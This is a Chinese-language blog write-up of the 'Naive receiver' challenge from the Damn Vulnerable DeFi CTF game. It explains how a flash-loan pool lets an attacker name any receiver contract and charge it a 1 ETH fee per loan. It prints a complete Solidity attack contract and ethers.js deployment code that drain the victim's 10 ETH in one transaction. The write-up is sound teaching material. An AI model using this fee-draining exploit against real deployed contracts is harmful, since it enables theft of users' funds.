jiang

jiang

Man who has not escaped from low-class level taste.

DamnVulnerableDeFi-Naive receiver题解

概述#

Damn Vulnerable DeFi 是学习以太坊 DeFi 智能合约攻击性安全的 CTF 游戏。

该游戏涵盖了闪电贷、价格预言机、治理、非同质化代币(NFT)、去中心化交易所(DEX)、借贷池、智能合约钱包、时间锁等多种 DeFi 场景。

这种类似 CTF 的题目的游戏非常适合初学者去学习 solidity/ethers.js 的开发。

挑战题目描述网站:https://www.damnvulnerabledefi.xyz/
挑战题目源码地址:https://github.com/tinchoabbate/damn-vulnerable-defi

Naive receiver#

题目描述:
There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.

A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.

Take all ETH out of the user’s contract. If possible, in a single transaction.

解析#

题意:题目的意思是说有一个提供闪电贷的池子,User 部署了一个 10 ETH 可以跟前面所说的池子交互的合约,我们需要攻击用户把用户的 ETH 全部耗尽。

首先我们来看看闪电贷池子的合约:

image

我们可以观察到 flashloan 的接收者也就是 receiver 可以不是发起 transaction 的 msg.sender,而是可以任意指定的满足 IERC3156FlashBorrower 的池子。

而我们再去观察 User deploy 的合约发现合约已经实现了 IERC3156 标准。我们只需要一个 for 循环把 user deploy 的合约地址执行 10 次闪电贷(每次手续费 1 ETH,User 部署是 deposit 了 10 ETH)就可以了。

题解#

题目要求是尽可能放在同一笔 transaction 那么我们需要部署一个合约。

AttackNaiveReceiver.sol

contract AttackNaiveReceiver {
    NaiveReceiverLenderPool pool;
    address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    address owner;

    constructor(address payable _pool, address _owner) {
        pool = NaiveReceiverLenderPool(_pool);
        owner = _owner;
    }

    function attack(address victim) public {
        require(msg.sender == owner, "only owner can attack");
        for (int i=0; i < 10; i++ ) {
            pool.flashLoan(IERC3156FlashBorrower(victim), ETH, 0 ether, "");
        }
    }
}

在 js 脚本中部署合约还有发起攻击:

const attackContract = await ethers.getContractFactory('AttackNaiveReceiver', player);
        const attack = await attackContract.deploy(pool.address, player.address);
        await attack.attack(receiver.address);

完整题解地址:https://github.com/fenghaojiang/damn-vulnerable-defi

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。